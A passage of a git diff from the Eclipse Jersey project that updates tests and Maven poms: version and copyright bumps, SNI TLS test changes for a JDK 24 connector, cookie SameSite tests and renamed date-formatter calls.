+        instance.stop().toCompletableFuture().get();
+    }
+
+    /**
+     * Verifies that an instance will boot using the implementation's default IP
+     * port.
+     *
+     * @throws ExecutionException   if the instance didn't boot correctly
+     * @throws InterruptedException if the test took much longer than usually
+     *                              expected
+     */
+    @Test
+    public final void shouldBootInstanceUsingImplementationsDefaultIpPort() throws InterruptedException, ExecutionException {
+        // given
+        final int expectedResponse = mockInt();
+        final Application application = new StaticApplication(expectedResponse);
+        final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+        final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost")
+                .port(SeBootstrap.Configuration.DEFAULT_PORT).rootPath("/root/path").build();
+
+        // when
+        final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration);
+        final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get();
+        final SeBootstrap.Configuration actualConfiguration = instance.configuration();
+        final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol())
+                .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath())
+                .path("application/resource")).request().get(int.class);
+
+        // then
+        assertThat(actualResponse, is(expectedResponse));
+        assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol()));
+        assertThat(actualConfiguration.host(), is(requestedConfiguration.host()));
+        assertThat(actualConfiguration.port(), is(greaterThan(0)));
+        assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath()));
+        instance.stop().toCompletableFuture().get();
+    }
+
+    private static Client client;
+
+    @BeforeAll
+    public static void createClient() {
+        SeBootstrapTest.client = ClientBuilder.newClient();
+    }
+
+    @AfterAll
+    public static void disposeClient() {
+        SeBootstrapTest.client.close();
+    }
+
+    @ApplicationPath("application")
+    public static final class StaticApplication extends Application {
+
+        private final StaticResource staticResource;
+
+        private StaticApplication(final long staticResponse) {
+            this.staticResource = new StaticResource(staticResponse);
+        }
+
+        @Override
+        public final Set<Object> getSingletons() {
+            return Collections.<Object>singleton(staticResource);
+        }
+
+        @Path("resource")
+        public static final class StaticResource {
+
+            private final long staticResponse;
+
+            private StaticResource(final long staticResponse) {
+                this.staticResponse = staticResponse;
+            }
+
+            @GET
+            public final long staticResponse() {
+                return this.staticResponse;
+            }
+        }
+    }
+
+    private static final int someFreeIpPort() throws IOException {
+        int port = 0;
+        int cnt = 0;
+        while (port < 1024 && cnt++ < 1025) {
+            try (final ServerSocket serverSocket = new ServerSocket(0)) {
+                port = serverSocket.getLocalPort();
+            }
+        }
+        return port;
+    }
+
+    private static final int mockInt() {
+        return (int) Math.round(Integer.MAX_VALUE * Math.random());
+    }
+}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java
index 995a6fb..cd39529 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,13 +32,20 @@
 import jakarta.validation.executable.ExecutableType;
 import jakarta.validation.executable.ValidateOnExecution;
 
+import jakarta.ws.rs.ext.ContextResolver;
+import jakarta.xml.bind.JAXBContext;
+import jakarta.xml.bind.JAXBException;
+import org.eclipse.persistence.jaxb.BeanValidationMode;
+import org.eclipse.persistence.jaxb.MarshallerProperties;
+import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.ServerProperties;
 import org.glassfish.jersey.test.TestProperties;
 
 import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.parallel.Execution;
-import org.junit.jupiter.api.parallel.ExecutionMode;
+
+import java.util.HashMap;
+import java.util.Map;
 
 import static org.hamcrest.CoreMatchers.equalTo;
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -290,6 +297,28 @@
         }
     }
 
+    /**
+     * Do not validate the bean by Moxy, validate just by Jersey
+     */
+    public static class MoxyNotValidateContextResolver implements ContextResolver<JAXBContext> {
+        @Override
+        public JAXBContext getContext(Class<?> type) {
+            Map<String, Object> properties = new HashMap<>();
+            properties.put(MarshallerProperties.BEAN_VALIDATION_MODE, BeanValidationMode.NONE);
+            try {
+                return JAXBContext.newInstance(new Class[]{type}, properties);
+            } catch (JAXBException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(MoxyNotValidateContextResolver.class);
+        super.configureClient(config);
+    }
+
     @Override
     protected Application configure() {
         enable(TestProperties.LOG_TRAFFIC);
@@ -310,7 +339,8 @@
                 ValidateGetterExecutableOnTypeMatch.class,
                 ValidateGetterExecutableOnBeans.class,
                 ValidateGetterResourceMethod.class,
-                ValidateExecutableResource.class)
+                ValidateExecutableResource.class,
+                MoxyNotValidateContextResolver.class)
                 .property(ServerProperties.BV_DISABLE_VALIDATE_ON_EXECUTABLE_OVERRIDE_CHECK, true);
     }
 
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java
index 8790628..17b3124 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -39,9 +39,13 @@
 import jakarta.ws.rs.core.Request;
 import jakarta.ws.rs.core.Response;
 
+import javax.xml.transform.ErrorListener;
+import javax.xml.transform.Result;
+import javax.xml.transform.Source;
 import javax.xml.transform.Transformer;
 import javax.xml.transform.TransformerException;
 import javax.xml.transform.TransformerFactory;
+import javax.xml.transform.URIResolver;
 import javax.xml.transform.dom.DOMSource;
 import javax.xml.transform.stream.StreamResult;
 import javax.xml.xpath.XPath;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java
index f342c5f..899d9ca 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java
@@ -1022,7 +1022,12 @@
                     final String document = response.readEntity(String.class);
 
                     // check that the resulting document contains a method element with id="fooX"
-                    assertTrue(document.replaceAll("\n", " ").matches(".*<method[^>]+id=\"foo" + i + "\"[^>]*>.*"));
+                    assertTrue(document
+                            .replaceAll("\n", " ")
+                            .replaceAll("\r", "")
+                            .replaceAll("ns0:", "")
+                            .matches(".*<method[^>]+id=\"foo" + i + "\"[^>]*>.*")
+                    );
                 }
             }
         }
diff --git a/tests/e2e-testng/pom.xml b/tests/e2e-testng/pom.xml
index 2fca714..4e9ff98 100644
--- a/tests/e2e-testng/pom.xml
+++ b/tests/e2e-testng/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-testng</artifactId>
diff --git a/tests/e2e-tls/pom.xml b/tests/e2e-tls/pom.xml
index 8e15cb6..51a907a 100644
--- a/tests/e2e-tls/pom.xml
+++ b/tests/e2e-tls/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-tls</artifactId>
@@ -42,6 +42,7 @@
                     <reuseForks>false</reuseForks>
                     <systemPropertyVariables>
                         <sun.net.http.allowRestrictedHeaders>true</sun.net.http.allowRestrictedHeaders>
+                        <jdk.httpclient.allowRestrictedHeaders>Host</jdk.httpclient.allowRestrictedHeaders>
                         <property>
                             <name>ssl.debug</name>
                             <value>true</value>
@@ -126,6 +127,11 @@
             <scope>test</scope>
         </dependency>
         <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jnh-connector</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
             <groupId>org.glassfish.jersey.security</groupId>
             <artifactId>oauth1-signature</artifactId>
             <version>${project.version}</version>
@@ -167,7 +173,7 @@
         <profile>
             <id>JDK_17-</id>
             <activation>
-                <jdk>[1.8,17)</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java
index 5156ab0..03ee91f 100644
--- a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java
+++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,16 +16,18 @@
 
 package org.glassfish.jersey.tests.e2e.tls;
 
+import jakarta.ws.rs.client.Invocation;
 import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.internal.util.JdkVersion;
 import org.glassfish.jersey.jdk.connector.JdkConnectorProvider;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
 import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
 import org.glassfish.jersey.tests.e2e.tls.explorer.SSLCapabilities;
-import org.junit.jupiter.api.Assertions;
 import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.MethodSource;
 
@@ -39,33 +41,36 @@
 import java.net.InetAddress;
 import java.net.Socket;
 import java.net.SocketTimeoutException;
-import java.net.URI;
 import java.net.UnknownHostException;
-import java.nio.charset.StandardCharsets;
 import java.util.LinkedList;
 import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
 
 public class SniTest {
     private static final int PORT = 8443;
     private static final String LOCALHOST = "127.0.0.1";
-
+    private static JdkVersion jdkVersion = JdkVersion.getJdkVersion();
 
     static {
+// Debug
+//        System.setProperty("sun.net.http.allowRestrictedHeaders", "true");
+//        System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Host");
         // JDK specific settings
         System.setProperty("jdk.net.hosts.file", SniTest.class.getResource("/hosts").getPath());
     }
 
     public static ConnectorProvider[] getConnectors() {
-        return new ConnectorProvider[] {
-                new NettyConnectorProvider(),
-                new ApacheConnectorProvider(),
-                new Apache5ConnectorProvider(),
-                new JdkConnectorProvider(),
-                new HttpUrlConnectorProvider()
-        };
+        ConnectorProvider[] providers = new ConnectorProvider[jdkVersion.getMajor() < 24 ? 6 : 5];
+        providers[0] = new NettyConnectorProvider();
+        providers[1] = new ApacheConnectorProvider();
+        providers[2] = new Apache5ConnectorProvider();
+        providers[3] = new JdkConnectorProvider();
+        providers[4] = new HttpUrlConnectorProvider();
+        if (jdkVersion.getMajor() < 24) {
+            /* The trick with 127.0.0.1 instead of the host in uri to get the SNI does not work for JDK 24 any longer */
+            providers[5] = new JavaNetHttpConnectorProvider();
+        }
+        return providers;
     }
 
     @ParameterizedTest
@@ -73,7 +78,8 @@
     public void server1Test(ConnectorProvider provider) {
         ClientConfig clientConfig = new ClientConfig();
         clientConfig.connectorProvider(provider);
-        serverTest(clientConfig, "www.host1.com", "www.host1.com");
+        clientConfig.property(ClientProperties.SNI_HOST_NAME, "www.host1.com");
+        serverTest(clientConfig, provider, "www.host1.com", "www.host1.com");
     }
 
     @ParameterizedTest
@@ -82,7 +88,7 @@
         ClientConfig clientConfig = new ClientConfig();
         clientConfig.connectorProvider(provider);
         clientConfig.property(ClientProperties.SNI_HOST_NAME, "www.host3.com");
-        serverTest(clientConfig, "www.host4.com", "www.host3.com");
+        serverTest(clientConfig, provider, "www.host4.com", "www.host3.com");
     }
 
     @ParameterizedTest
@@ -91,10 +97,11 @@
         ClientConfig clientConfig = new ClientConfig();
         clientConfig.connectorProvider(provider);
         clientConfig.property(ClientProperties.SNI_HOST_NAME, LOCALHOST);
-        serverTest(clientConfig, "www.host4.com", null);
+        serverTest(clientConfig, provider, "www.host4.com", null);
     }
 
-    public void serverTest(ClientConfig clientConfig, String hostName, String resultHostName) {
+
+    public void serverTest(ClientConfig clientConfig, ConnectorProvider provider, String hostName, String resultHostName) {
         String newHostName = replaceWhenHostNotKnown(hostName);
         final List<SNIServerName> serverNames = new LinkedList<>();
         final String[] requestHostName = new String[1];
@@ -109,7 +116,7 @@
 
         clientConfig.property(ClientProperties.READ_TIMEOUT, 2000);
         clientConfig.property(ClientProperties.CONNECT_TIMEOUT, 2000);
-        try (Response r = ClientBuilder.newClient(clientConfig)
+        Invocation.Builder builder = ClientBuilder.newClient(clientConfig)
                 .register(new ClientRequestFilter() {
                     @Override
                     public void filter(ClientRequestContext requestContext) throws IOException {
@@ -118,9 +125,11 @@
                 })
                 .target("https://" + (newHostName.equals(LOCALHOST) ? LOCALHOST : "www.host0.com") + ":" + PORT)
                 .path("host")
-                .request()
-                .header(HttpHeaders.HOST, hostName + ":8080")
-                .get()) {
+                .request();
+        if (!JavaNetHttpConnectorProvider.class.isInstance(provider)) {
+            builder = builder.header(HttpHeaders.HOST, hostName + ":" + PORT);
+        }
+        try (Response r = builder.get()) {
             // empty
         } catch (Exception e) {
             Throwable cause = e;
@@ -129,7 +138,7 @@
                     && TimeoutException.class.isInstance(cause)) {
                 cause = cause.getCause();
             }
-            if (cause == null && /*IOE*/ !e.getMessage().contains("Stream closed")) {
+            if ((!e.getMessage().contains("Stream closed")) && !e.getMessage().contains("timed out")) {
                 throw e;
             }
         }
@@ -138,7 +147,7 @@
 
         if (resultHostName != null && serverNames.isEmpty()) {
             throw new IllegalStateException("ServerNames are empty");
-        } else if (resultHostName == null && serverNames.isEmpty()) {
+        } else if (resultHostName == null) {
             return;
         }
 
diff --git a/tests/e2e/pom.xml b/tests/e2e/pom.xml
index 94d1d8e..60cf525 100644
--- a/tests/e2e/pom.xml
+++ b/tests/e2e/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e</artifactId>
@@ -44,6 +44,7 @@
                     <excludes>
                         <!--TODO remove after jakartification-->
                         <exclude>org/glassfish/jersey/tests/e2e/server/wadl/NoJAXBNoWadlTest.java</exclude>
+                        <exclude>org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java</exclude>
                     </excludes>
                 </configuration>
             </plugin>
@@ -199,7 +200,7 @@
         <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -218,15 +219,6 @@
             </build>
         </profile>
         <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <properties>
-                <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version>
-            </properties>
-        </profile>
-        <profile>
             <id>sonar</id>
             <build>
                 <pluginManagement>
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java
index 8cecb6b..138466e 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java
@@ -66,7 +66,7 @@
             contentDisposition = new ContentDisposition(header);
             assertNotNull(contentDisposition);
             assertEquals(contentDispositionType, contentDisposition.getType());
-            final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
+            final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date);
             header = contentDispositionType + ";filename=\"test.file\";creation-date=\""
                     + dateString + "\";modification-date=\"" + dateString + "\";read-date=\""
                     + dateString + "\";size=1222";
@@ -101,7 +101,7 @@
         final Date date = new Date();
         final ContentDisposition contentDisposition = ContentDisposition.type(contentDispositionType).fileName("test.file")
                 .creationDate(date).modificationDate(date).readDate(date).size(1222).build();
-        final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
+        final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date);
         final String header = contentDispositionType + "; filename=\"test.file\"; creation-date=\""
                 + dateString + "\"; modification-date=\"" + dateString + "\"; read-date=\"" + dateString + "\"; size=1222";
         assertEquals(header, contentDisposition.toString());
@@ -252,7 +252,7 @@
             final boolean decode
     ) throws ParseException {
         final Date date = new Date();
-        final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
+        final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date);
         final String prefixHeader = contentDispositionType + ";filename=\"" + actualFileName + "\";"
                 + "creation-date=\"" + dateString + "\";modification-date=\"" + dateString + "\";read-date=\""
                 + dateString + "\";size=1222" + ";name=\"testData\";" + "filename*=\"";
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java
index 1068272..5992b54 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -187,6 +187,12 @@
         cookie = new NewCookie("fred", "flintstone", null, null, "a modern stonage family", 60, false);
         expResult = "fred=flintstone;Version=1;Comment=\"a modern stonage family\";Max-Age=60";
         assertEquals(expResult, cookie.toString());
+
+        cookie = new NewCookie("fred", "flintstone", null, null, 1,
+                "a modern stonage family", 60, null, false, false,
+                NewCookie.SameSite.STRICT);
+        expResult = "fred=flintstone;Version=1;Comment=\"a modern stonage family\";Max-Age=60;SameSite=Strict";
+        assertEquals(expResult, cookie.toString());
     }
 
     @Test
@@ -209,6 +215,16 @@
         assertEquals(1, cookie.getVersion());
         assertEquals(60, cookie.getMaxAge());
         assertTrue(cookie.isSecure());
+
+        cookie = NewCookie.valueOf(
+                "fred=flintstone;Version=1;Comment=\"a modern stonage family\";Max-Age=60;Secure;SameSite=None");
+        assertEquals("fred", cookie.getName());
+        assertEquals("flintstone", cookie.getValue());
+        assertEquals("a modern stonage family", cookie.getComment());
+        assertEquals(1, cookie.getVersion());
+        assertEquals(60, cookie.getMaxAge());
+        assertTrue(cookie.isSecure());
+        assertEquals(NewCookie.SameSite.NONE, cookie.getSameSite());
     }
 
 }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java
index c931809..0595890 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -45,7 +45,7 @@
                 .modificationDate(date).readDate(date).size(1222).build();
         assertFormDataContentDisposition(contentDisposition, date);
         try {
-            final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
+            final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date);
             final String header = contentDispositionType + ";filename=\"test.file\";creation-date=\"" + dateString
                     + "\";modification-date=\"" + dateString + "\";read-date=\"" + dateString + "\";size=1222"
                     + ";name=\"testData\"";
@@ -92,7 +92,7 @@
         final FormDataContentDisposition contentDisposition = FormDataContentDisposition.name("testData")
                 .fileName("test.file").creationDate(date).modificationDate(date)
                         .readDate(date).size(1222).build();
-        final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
+        final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date);
         final String header = contentDispositionType + "; filename=\"test.file\"; creation-date=\"" + dateString
                 + "\"; modification-date=\"" + dateString + "\"; read-date=\"" + dateString + "\"; size=1222"
                 + "; name=\"testData\"";
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java
index 63305db..4e1bfd3 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -100,8 +100,8 @@
     @Test
     public void testDateParsing() throws ParseException {
         final String date_RFC1123 = "Sun, 06 Nov 1994 08:49:37 GMT";
-        final String date_RFC1036 = "Sunday, 06-Nov-94 08:49:37 GMT";
-        final String date_ANSI_C = "Sun Nov  6 08:49:37 1994";
+        final String date_RFC1036 = "Sunday, 07-Nov-04 08:49:37 GMT";
+        final String date_ANSI_C = "Sun Nov 6 08:49:37 1994";
 
         HttpHeaderReader.readDate(date_RFC1123);
         HttpHeaderReader.readDate(date_RFC1036);
@@ -113,7 +113,7 @@
         final String date_RFC1123 = "Sun, 06 Nov 1994 08:49:37 GMT";
         final Date date = HttpHeaderReader.readDate(date_RFC1123);
 
-        final String date_formatted = HttpDateFormat.getPreferredDateFormat().format(date);
+        final String date_formatted = HttpDateFormat.getPreferredDateFormatter().format(date);
         assertEquals(date_RFC1123, date_formatted);
     }
 
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
index f67d538..54bbf12 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -174,13 +174,13 @@
             // let's also test some method calls
             int flags = 0;
 
-            if ("/echo".equals(jettyRequest.get().getPathInfo())) {
+            if ("/echo".equals(jettyRequest.get().getHttpURI().getPath())) {
                 flags += 1;
             }
             if (!jettyResponse.get().isCommitted()) {
                 flags += 10;
             }
-            final String header = jettyRequest.get().getHeader(REQUEST_NUMBER);
+            final String header = jettyRequest.get().getHeaders().get(REQUEST_NUMBER);
 
             ctx.setEntityStream(new ByteArrayInputStream(("filtered-" + flags + "-" + header).getBytes()));
         }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
index b1f5cfc..f6bb0b7 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -54,10 +54,10 @@
 
     protected static List<TestContainerFactory> listContainerFactories(TestContainerFactory... factories) {
         final JdkVersion version = JdkVersion.getJdkVersion();
-        boolean isJDK8 = version.getMajor() == 1;
+        boolean isJDKGreaterThanOrEqualTo17 = version.getMajor() >= 17;
         final List<TestContainerFactory> filtered = new LinkedList<>();
         for (TestContainerFactory factory : factories) {
-            if (!isJDK8 || !JettyTestContainerFactory.class.isInstance(factory)) {
+            if (isJDKGreaterThanOrEqualTo17 || !JettyTestContainerFactory.class.isInstance(factory)) {
                 filtered.add(factory);
             }
         }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java
index 2175c65..2c4cc35 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java
@@ -38,7 +38,6 @@
 import jakarta.ws.rs.core.GenericType;
 
 import java.io.IOException;
-import java.util.concurrent.atomic.AtomicInteger;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
diff --git a/tests/integration/asm/pom.xml b/tests/integration/asm/pom.xml
index 096e38c..97038df 100644
--- a/tests/integration/asm/pom.xml
+++ b/tests/integration/asm/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/async-jersey-filter/pom.xml b/tests/integration/async-jersey-filter/pom.xml
index c9c3d4f..7f764d0 100644
--- a/tests/integration/async-jersey-filter/pom.xml
+++ b/tests/integration/async-jersey-filter/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>async-jersey-filter</artifactId>
@@ -49,7 +49,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
     </dependencies>
@@ -65,8 +64,8 @@
